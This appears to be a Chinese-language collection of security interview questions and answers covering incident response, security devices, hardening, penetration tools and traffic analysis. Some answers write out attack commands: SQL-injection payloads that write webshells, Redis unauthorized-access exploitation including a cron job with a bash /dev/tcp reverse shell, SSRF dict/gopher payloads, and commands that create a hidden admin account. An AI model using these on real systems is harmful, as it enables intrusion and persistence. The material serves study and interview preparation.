1.设备误报如何处理?
包含有SQL语句和一些危险函数都有可能产生误报
来自外网的误报说明安全设备需要进行策略升级,不需要处置。
如果是来自内网的误报可以和负责人协商一下看能不能解决,有必要的话添加白名单处理。
2.如何区分扫描流量和手工流量?
1.扫描流量数据量大,请求流量有规律可循且频率较高,手工流量请求少,间隔略长
2.使用工具扫描的流量一般在数据包中有相关特征信息,比如说通过wireshark网络封包分析工具对流量进行一个具体的排查分析,比如通过http contains "xxx"来查找数据包中的关键字。
比如常用的漏洞扫描工具AWVS,Nessus以及APPscan在请求的URL,Headers, Body三项里随机包含了能代表自己的特征信息。
3.网站被上传webshell如何处理?
1.首先关闭网站,下线服务。有必要的话将服务器断网隔离。
2.手工结合工具进行检测。
-
工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。
-
手工方面对比未上传webshell前的备份文件,从文件甚至代码层面进行对比,检查有无后门程序或者其他异常文件,实在不行就直接用备份文件替换了。
3.加强安全策略,比如定期备份网站配置文件,及时安装服务器补丁,定期更新组件以及安全防护软件,定期修改密码等等措施。
4.给你一个比较大的日志,应该如何分析?
-
攻击规则匹配通过正则匹配日志中的攻击请求
-
统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求
-
白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求
-
HMM 模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求
-
使用日志分析工具,如LogForensics,Graylog,Nagios,ELK Stack等等
5.常见OA系统?
PHP:通达OA、泛微 Eoffice
Java:泛微OA/云桥、致远OA、蓝凌OA、用友OA
ASP:启莱OA
6.了解安全设备吗?
入侵防御系统IPS
-
是计算机网络安全设施,是对防病毒软件和防火墙的补充。入侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为。
入侵检测系统IDS
-
积极主动的防护措施,按照一定的安全策略,通过软件,硬件对网络,系统的运行进行实时的监控,尽可能地发现网络攻击行为,积极主动的处理攻击,保证网络资源的机密性,完整性和可用性。
防火墙
-
防火墙是位于两个(或多个)网络间,实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。
数据库审计系统
-
是对数据库访问行为进行监管的系统,通过镜像或者探针的方式采集所有数据库的访问流量,并基于SQL语法,语义的解析技术,记录下对数据库所有访问和操作行为,例如访问数据的用户IP,账号,时间等等,对数据进行操作的行为等等。
日志审计系统
-
日志审计系统能够通过主被动结合的手段,实时且不间断的采集用户网络中不同厂商的安全设备,网络设备,主机,操作系统以及各种应用系统产生的海量日志信息,并将这些信息汇集到审计中心,进行集中化存储,备份,查询,审计,告警,响应,并出具丰富的报表报告,获悉全网的整体安全运行态势,同时满足等保关于安全管理中心的日志保存时间大于6个月的要求。
堡垒机
-
是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。
漏洞扫描系统
-
漏洞扫描工具或者设备是基于漏洞数据库,通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测,发现可利用漏洞的一种安全检测系统(我们常用的针对WEB站点进行扫描的工具和此处漏洞扫描系统不是一个概念)。
数据安全态势感知平台
-
以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。
终端安全管理系统
-
是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。
WAF
-
WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。
蜜罐(元支点,青藤云)
-
蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。
7.了解过系统加固吗?
账户安全
-
windows
-
比如设置登录时不显示上次登录的用户名,防止弱口令爆破。
-
设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
-
linux
-
禁用root之外的超级用户 使用password -l <用户名>命令来锁定用户 -u解锁
-
限制普通用户使用sudo提权,或者说限制提权的权限大小
-
锁定系统中多余的自建账号
-
设置账户锁定登录失败锁定次数,锁定时间 faillog -u <用户名>命令来解锁用户
口令安全
-
windows
-
设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备
-
设置最小密码长度不能为0,设置不能使用历史密码
-
linux
-
检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim /etc/login.def命令
服务与端口收敛
-
关闭或者限制常见的高危端口,比如说22端口(SSH),23端口(Telnet),3389端口(RDP)
-
compmgmt.msc排查计划任务
-
linux上iptables封禁IP或者限制端口
文件权限管理
-
linux上chmod修改文件权限 chattr重要文件设置不可修改权限
系统日志审计
-
linux上设置系统日志策略配置文件
-
系统日志 /var/log/message
-
cron日志/var/log/cron
-
安全日志/var/log/secure
设备和网络控制
-
比如在涉密计算机上禁止访问外网,为了避免用户绕过策略可以禁止用户修改IP
-
删除默认路由配置,避免利用默认路由探测网络
-
禁止使用USB设备比如U盘
-
禁止ping命令,即禁用ICMP协议访问,不让外部ping通服务器
8.CS是什么东西,知道怎么使用吗?
简介
-
CobaltStrike是一款渗透测试工具,被业界人称为CS。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可用于团队分布式协同操作。
功能
-
CobaltStrike 集成了端口转发,服务扫描,自动化溢出,多模式端口监听,windows exe 木 马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击等功能。
使用
-
一般使用步骤就是,先启动服务端,然后启动客户端连接获得一个可视化的界面,新建监听器来接收会话,生成木马文件(常见.exe可执行文件,office宏病毒,html应用程序类型的后门文件),上传到受害者主机,当受害者运行该木马文件时目标主机就在CS上线了。
流量特征:
1.查看网络带宽,查看软件不同时间段内对带宽的使用情况
2.根据请求和响应的数据量来分析
9.WAF方面有没有了解过,清楚WAF的分类和原理吗?
分类:
-
WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
原理:
-
Web应用防火墙是通过执行一系列针对HTTP或者HTTPS的安全策略来专门为Web应用提供保护的一款产品。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。
10.Powershell了解过吗?
简介
-
PowerShell 是一种命令行外壳程序和脚本环境,主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。
使用
-
常见的操作 pwd ls cd mkdir rm
-
get-process获取所有进程信息
-
get-date获取当前时间信息
-
get-host获取当前主机信息
-
然后就是使用PowersSploit(基于Powershell的后渗透框架软件,包括了很多Power shell攻击脚本,主要用于渗透中的信息收集,权限提升,权限维持)的时候在Powshell上使用过一些下载和运行攻击脚本的命令。
11.MSF是什么?知道怎么使用吗?
简介:
-
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。
模块:
-
Auxiliary(辅助模块)
-
为渗透测试信息搜集提供了大量的辅助模块支持
-
Exploits(攻击模块)
-
利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。
-
Payload(攻击载荷模块)
-
攻击成功后促使靶机运行的一段植入代码
-
Post (后渗透攻击模块)
-
收集更多信息或进一步访问被利用的目标系统
-
Encoders(编码模块)
-
将攻击载荷进行编码,来绕过防护软件拦截
使用:
-
首先利用Auxiliary辅助探测模块扫描,嗅探,指纹识别相关漏洞,然后确认漏洞存在使用Exploit漏洞利用模块对漏洞进行利用,包括设置payload攻击载荷,设置本机监听等等。漏洞利用成功目标主机就会通过设置的端口主动连接,产生会话。进而可以进行后渗透。
功能:
-
木马免杀,抓取用户密码,关闭杀毒软件,屏幕截图,新建账号,远程登录,迁移进程,提权操作,网络嗅探,端口转发 ,内网代理,内网扫描,生成后门,清除日志等等。
12.SQL注入怎么写入webshell?
条件:
-
知道web绝对路径
-
有文件写入权限(一般情况只有ROOT用户有)
-
数据库开启了secure_file_priv设置
然后就能用select into outfile写入webshell
常见手法:
联合注入写入
?id=1' union select 1,"",3 into outfile 'C:\phpstudy\WWW\sqli\shell.php'#
dumpfile函数写入
?id=1' union select 1,"",3 into dumpfile 'C:\phpstudy\WWW\sqli\shell.php'#
lines terminated by 写入
?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by ''; //lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。
lines starting by 写入
?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by ''; //利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。
fields terminated by 写入
?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by ''; //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
columns terminated by 写入
?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by ''; //利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。
sqlmap写入
写:(要写的文件,必须在kali本机里有) 写入到 /tmp 目录下 sqlmap -u "http://127.0.0.1/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username' --file-write="shell.php" --file-dest="/tmp/shell.php"
13.了解过反序列化漏洞吗?
原理:
序列化是指程序将对象转化为字节序列从而便于存储运输的一种方式,反序列化则与其相反,即将字节序列转化为对象供程序使用。程序在进行反序列化时会调用一些函数,比如常见的PHP反序列化函数unserialize()以及一些常见的魔术方法,比如构造函数construct(),析构函数destruct(),wakeup(),toString(),_sleep()等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列化后传入函数中,从而导致反序列化漏洞。
Java反序列化
Java反序列化就是将java对象转化为字节序列的过程。反序列化的过程就是
1,创建一个对象输出流
2,通过对象输出流的ReadObject()方法来读取对象
14.常见的框架漏洞?
log4j远程代码执行漏洞
-
原理:
-
Log4j 是Apache 的一个开源项目,是一款基于Java 的开源日志记录工具。该漏洞主要是由于日志在打印时当遇到
${
后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。 -
具体操作:
-
在正常的log处理过程中对${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制,将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行
Fastjson反序列化漏洞
-
判断:
-
正常请求是get请求并且没有请求体,可以通过构造错误的POST请求,即可查看在返回包中是否有fastjson这个字符串来判断。
-
原理:
-
fastjson是阿里巴巴开发的一款将json字符串和java对象进行序列化和反序列化的开源json解析库。fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。
-
无回显怎么办:
-
1.一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果
-
2.通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了
-
3.直接将命令执行结果回显到请求Poc的HTTP响应中
Shiro反序列化漏洞
-
原理:
-
Shiro是Apache下的一个开源Java安全框架,执行身份认证,授权,密码和会话管理。shiro在用户登录时除了账号密码外还提供了可传递选项remember me。用户在登录时如果勾选了remember me选项,那么在下一次登录时浏览器会携带cookie中的remember me字段发起请求,就不需要重新输入用户名和密码。
-
判断:
-
1.数据返回包中包含rememberMe=deleteMe字段。
-
2.直接发送原数据包,返回的数据中不存在关键字可以通过在发送数据包的cookie中增加字段:rememberMe=然后查看返回数据包中是否存在关键字。
-
shiro-550:
-
shiro反序列化漏洞利用有两个关键点,首先是在shiro<1.2.4时,AES加密的密钥Key被硬编码在代码里,只要能获取到这个key就可以构造恶意数据让shiro识别为正常数据。另外就是shiro在验证rememberMe时使用了readObject方法,readObject用来执行反序列化后需要执行的代码片段,从而造成恶意命令可以被执行。攻击者构造恶意代码,并且序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行编码,解密并且反序列化,最终造成反序列化漏洞。
-
shiro-721:
-
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember。
15.了解过redis数据库和常见的漏洞吗?
redis是一个非关系型数据库,使用的默认端口是6379。常见的漏洞是未授权访问漏洞,攻击者无需认证就可以访问内部数据。利用手段主要有:
1.向root权限账户写入ssh公钥文件,直接免密登录服务器。(受害者redis非root权限运行会报错)
-
条件:
-
服务器存在.ssh目录且具有写入的权限
-
原理:
-
在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
2.写入webshell
-
条件:
-
已知web绝对路径。
-
步骤:
-
-
redis -cli -h 192.168.x.x 连接目标服务器
-
-
-
config set dir "/var/www/html" 设置保存文件路径
-
-
-
config set dbfilename shell.php 设置保存文件名
-
-
-
set x "\n\n\n" 将webshell写入x键值中
-
-
-
save 保存
-
-
局限:
-
1.服务器处于内网,写入webshell后我们的公网IP无法连接
-
2.服务器IP地址不固定
-
3.6379端口不允许入方向
-
4.上传webshell可能直接被杀毒软件删除
3.反弹连接shell
-
设置监听端口,常用的工具1.msf 2.netcat 3.socat
-
利用msf设置监听步骤:
-
-
use exploit/multi/handler
-
-
-
set payload generic/shell_reverse_tcp
-
-
-
set lhost 192.168.x.x 默认监听端口为4444
-
-
-
run
-
4.定时任务反弹shell
-
步骤:
-
定时任务用的表达式 :Cron表达式是一个字符串,该字符串由6个空格分为7个域,每一个域代表一个时间含义。分 时 天 月 周 user-name(用户) command(命令) 比如每过一分钟向root用户的定时任务中写入反弹连接命令
-
(1) config set dir /var/spool/cron/ //目录切换到定时任务的文件夹中
-
(2) config set dbfilename root //设置保存文件名
-
(3)set x "\n * * * * * bash -i >& /dev/tcp/192.168.96.222/7777 0>&1\n" //将反弹shell写入x键值中
-
(4)save //保存
利用定时任务反弹shell在目标系统是Centos上可用,Ubuntu上有限制
理由如下:
1.默认redis写文件后是644的权限,但ubuntu要求执行定时任务件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错,而Centos的定时任务文件权限644也能执行 2.redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错 3.两个系统的定时任务文件目录不同
利用主从复制getshell
条件:
版本(4.x~5.0.5)
原理:
数据读写体量很大时,为了减轻服务器的压力,redis提供了主从模式,主从模式就是指定一个redis实例作为主机,其余的作为从机,其中主机和从机的数据是相同的,而从机只负责读,主机只负责写。通过读写分离可以减轻服务器端的压力。
利用工具:
RedisRogueServer
地址:
https://github.com/n0b0dyCN/redis-rogue-server
使用工具的命令:
python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=x.x.x.x --exp=exp.so
两种使用方法:
交互式
反弹式
限制:
利用这个方法getshell或者rce任意导致redis服务瘫痪,一般不建议使用
redis未授权访问漏洞的防范措施:
1.添加登录密码
2.修改默认端口
3.关闭端口
4.禁止以root用户权限启动,以低权限启动redis服务
16.SSRF怎么结合Redis相关漏洞利用?
主要通过两种协议,dict协议和gopher协议。
dict协议利用redis相关漏洞:
探测端口:
ssrf.php?url=dict://x.x.x.x:$端口$ 利用burpsuite爆破端口
探测是否设置弱口令:
ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
爆破密码:
ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$ 利用burpsuite爆破密码
写入webshell:
-
url=dict://http://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录
-
url=dict://http://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名
-
url=dict://http://xxx.xxx:6379/set:webshell:" \x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" //利用dict协议写入webshell 以上的字符编码是的十六进制
-
url=dict://x.x.x.x:6379/save 保存
-
url=dict://http://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录
-
url=dict://http://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名
-
url=dict://http://xxx.xxx:6379/set:webshell:" \x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
//利用dict协议写入webshell 以上的字符编码是的十六进制
4.ssrf.php?url=dict://x.x.x.x:6379/save 保存
dict协议利用计划任务反弹shell或者写入ssh公钥的手段类似
gopher协议利用redis未授权访问漏洞写入webshell:
常规利用步骤:
set x "\n\n\n\n\n\n" config set dir /var/www/html config set dbfilename shell.php save
//第一次url解码和第二次url解码
//同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似
17.windows应急响应时排查分析的相关细节?
可疑账号排查 lusrmgr.msc
1.检查服务器是否有弱口令。比如空口令或者密码复杂度不够。
2.高危端口是否对外开放,比如SSH服务22端口,RDP服务3389端口等。
3.查看服务器是否有可疑账号。
手工方面:lusrmgr.msc命令查看用户和组,查看是否有新增账号,隐藏账号,克隆账号。 工具方面:比如利用D盾等工具来检测隐藏账号。 4.结合日志分析 eventvwr.msc 查看管理员登录时间,相关事件是否有异常。
敏感事件ID:
4624 登录成功 4625 登录失败 4672 使用超级管理员进行登录 4720 创建用户 5.使用query user查看当前系统的会话,比如查看是否有人使用远程登录服务器。
可疑进程和服务排查 taskmgr services.msc
1.查看CPU,内存,网络等资源是否有可疑状况。比如CPU占用率过高可能是中了挖矿病毒,磁盘空间大量占用可能是脚本或病毒大量生成和复制隐藏文件。
2.检查进程名
某些进程名是大量随机的情况,比如hrlC3.tmp、hrlD5.tmp、hrl6.tmp、hrlEE.tmp等多个名字相似的进程,基本上可以断定是异常进程。 异常进程名伪装成系统进程或者说常见服务的进程名,此时可以通过进程描述来判断,并且需要手工对比。 3.检查进程和服务描述,修改时间或者数字签名是否有异常。
4.利用工具进行检测,比如Process Hunter或者火绒剑等专门针对进程服务信息的排查分析工具,主要查看的是公司名,描述,安全状态和启动类型等方面来排查。
可疑启动项排查 msconfig
-
msconfig或者任务管理器中的启动项查看名称,发布者和启动影响,以及右键查看属性来看数字签名和修改时间。
-
结合工具进行排查,比如火绒剑等工具,会将启动项分类为登录,驱动程序,计划任务,映像劫持等,利用分析排查
可疑文件排查
1.各个磁盘的Temp/tmp目录中是Windows产生的临时文件,查看有无异常文件。
2.Recent目录会记录最近打开的文档以及程序的相关记录。
3.查看文件的创建时间,修改时间和访问时间,比如说攻击者利用菜刀等工具对文件进行修改会改变修改时间,如果修改时间在创建时间之前,那就是很明显的可疑文件。
4.windows系统我的电脑快速访问,可以看到最近使用的文件,比如说图片或者压缩包等文件的使用历史和文件路径都会显示。
恶意样本排查
1.恶意样本指的一般是webshell,病毒,木马或者后门程序或文件,可以根据设备的告警信息来查找相关路径,再排查相关的进程和启动项。
2.不知道路径的话可以利用相关的安全设备来进行检测,比如说通过D盾,河马查杀等工具对webshell可能存在的目录进行一个排查查杀,利用常规的防火墙软件来对全盘或者可疑目录扫描病毒。
18.常见的webshell连接工具流量?
中国菜刀
连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。
然后还有一段以QG开头,7J结尾的固定代码。
蚁剑
默认的user-agent请求头是antsword xxx,不过可以修改。
一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有@ini_set("display","0");这段代码。
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“0x.....=”这种形式(下划线可替换为其他)所以,以0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。
冰蝎(AES对称加密)
php代码中可能存在eval,assert等关键词,jsp代码中可能会有getclass(),getclassLoader()等字符特征。
冰蝎2.0
第一阶段请求中返回包的状态码是200,返回内容是16位的密钥。建立连接后的cookie格式都是Cookie:PHPSessid=xxxx ;path=/;特征。
冰蝎3.0
请求包中的conten-length字段是5740或者5720,然后请求头也具有特征信息,内置的默认内置16个ua(user-agent)头。
哥斯拉
1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。
2.在响应包的cache-control字段中有no-store,no-cache等特征。
3.所有请求中的cookie字段最后面都存在;特征。
19.常用的外围打点工具有哪些?
20.描述一下外围打点的基本流程?
五个步骤,分别是靶标确认、信息收集、漏洞探测、利用漏洞和获取权限,最终要得到的是获取靶标的系统权限进而获得关键数据。
21.怎么识别CDN?
-
使用ping命令看回显
-
使用nslookup查询域名解析,看域名解析情况
-
使用超级ping工具,像Tools,http://all-toll.cn等。
22.怎么判断靶标站点是Windows还是Linux?
-
通过ping靶机,看返回的TTL值,Windows大于100、Linux小于100的
-
看大小写,Linux区别大小写,Windows则不分。
23.举常见的FOFA在外围打点过程中的查询语句?
-
漏洞方面:body=“Index of/”(列目录漏洞)
-
框架:body=“icon-spring-boot-admin.svg"(Spring Boot Admin)
-
子域名:host="http://x.cn"
-
后台挖掘:title="后台” && body=“password" && host="http://x.cn"
24.常见的未授权访问漏洞有哪些?
-
Active MQ 未授权访问
-
Atlassian Crowd 未授权访问
-
CouchDB 未授权访问
-
Docker 未授权访问
-
Dubbo 未授权访问
-
Druid 未授权访问
-
Elasticsearch 未授权访问
-
FTP 未授权访问
-
Hadoop 未授权访问
-
JBoss 未授权访问
-
Jenkins 未授权访问
-
Jupyter Notebook 未授权访问
-
Kibana 未授权访问
-
Kubernetes Api Server 未授权访问
-
LDAP 未授权访问
-
MongoDB 未授权访问
-
Memcached 未授权访问
-
NFS 未授权访问
-
Rsync 未授权访问
-
Redis 未授权访问
-
RabbitMQ 未授权访问
-
Solr 未授权访问
-
Spring Boot Actuator 未授权访问
-
Spark 未授权访问
-
VNC 未授权访问
-
Weblogic 未授权访问
-
ZooKeeper 未授权访问
-
Zabbix 未授权访问
25.文件上传功能的监测点有哪些?
-
客户端的JS检测(主要检测文件名后缀)
-
服务端检测(MINE类型检测、文件后缀名、文件格式头)
26.常见的中间件有哪些?常见都有哪些相关漏洞?
-
IIS:解析漏洞、短文件名枚举、远程代码执行、PUT漏洞
-
Apache:解析漏洞、目录遍历、shiro反序列化漏洞
-
Nginx:解析漏洞、目录遍历、CRLF注入、目录穿越
-
Tomcat:示例目录、远程代码执行、反向路径遍历、war后门文件部署
-
Jboss:反序列化、war后门文件部署
-
web Logic:反序列化、SSRF任意文件上传
27.介绍一下SQL注入种类?
-
提交方式分为:GET型、POST型、Cookie型
-
注入点分为:数字型、字符串型、搜索型
-
运行结果分为:基于时间的盲注、基于报错、基于布尔的盲注、基于数字
28.Windows常用的命令有哪些?
-
ping:检查网络联通
-
ipconfig:查看ip地址
-
dir:显示当前文件夹的内容
-
net user:查看用户
-
netstat:查看端口
-
tasklist:查看进程列表
-
find:搜索文件中的字符串
应急响应排查命令:
系统账户排查:net user
检查异常端口:netstat -ano
检查可疑进程和服务:tasklist
可疑启动项排查:msconfig
查看登录日志:eventvwr.msc
29.Linux常见的命令有哪些?
-
ls:显示当前文件夹的内容
-
ifconfig:查看ip地址
-
whoami:查看用户
-
netstat:查看端口
-
ps:查看进程列表
-
grep:文件中搜索字符串
-
crontal:检查定时任务
应急响应排查命令:
查看用户账户信息:cat/etc/passwd
查看历史命令:history
查看异常端口:netstat -tunlp 进程:ps aux 杀死:kill -9 pid号
查看是否有异常任务编写进来:crontab -l
查看日志信息:/var/log
30.在Windows靶标站点如何建立隐藏用户?
-
net user xiaofeng$ 112233 /add (建立隐藏用户xiaofeng)
-
net localgroup administrators xiaofeng$ /add (将隐藏用户xiaofeng加入管理员用户组)
31.正向shell喝反向shell的区别是什么?
内外网区别,正向shell是攻击者处于内网,被攻击者处于公网;而方向shell是攻击者处于外网,被攻击者处于内网,且是被攻击主动连接攻击者。
32.连接不了MySQL数据库站点的原因有哪些?
-
3306端口没有对外开放
-
MySQL默认端口被修改(最常见)
-
站库分离
33.那些漏洞经常被用于打点?
-
边界网络设备资产跟弱口令结合
-
上传漏洞
-
Log4j
-
Apache Shiro漏洞
-
Fastjson漏洞
34.常见的端口和渗透方式简单描述一下?
35.SSRF服务器端请求伪造攻击流量如何分析
如何能从http请求包中看到一些携带内层请求得流量(如:http://xxx.xxx)则可以判断为ssrf攻击;
如何判断是否成功则需要观察被攻击服务器是否向目标发起了内层请求
36.CSRF服务器端请求伪造攻击流量如何分析
可以通过请求中referrer字段盘带是否从其他网站跳转而来,或者结合实际情况观察请求中是否存在csrf token来判断是否为csrf攻击
1.如何在大量请求中快速找到攻击会话
查看http协议交互日志,通过搜寻容易携带攻击指令的字段
2.如何通过流量分析发现网络中的xss攻击
通过对客户端访问网页的流量进行分析,寻找几个特征(返回包和请求包相同的攻击语句,返回包的语句包在script等标签内,攻击语句未被转义)
3.如何发现针对web网站的目录遍历攻击
搜索关键字../或者~/
37.溯源
1.收集攻击事件相关的日志,网络流量(ads/ips的警报,网络流量捕获的文件)
2.通过分析收集到的证据,确定攻击的类型时间,可能的攻击源
3.追踪攻击来源,ip地址,域名,网络路径
4.联系相关方
5.采取响应的防御和应对措施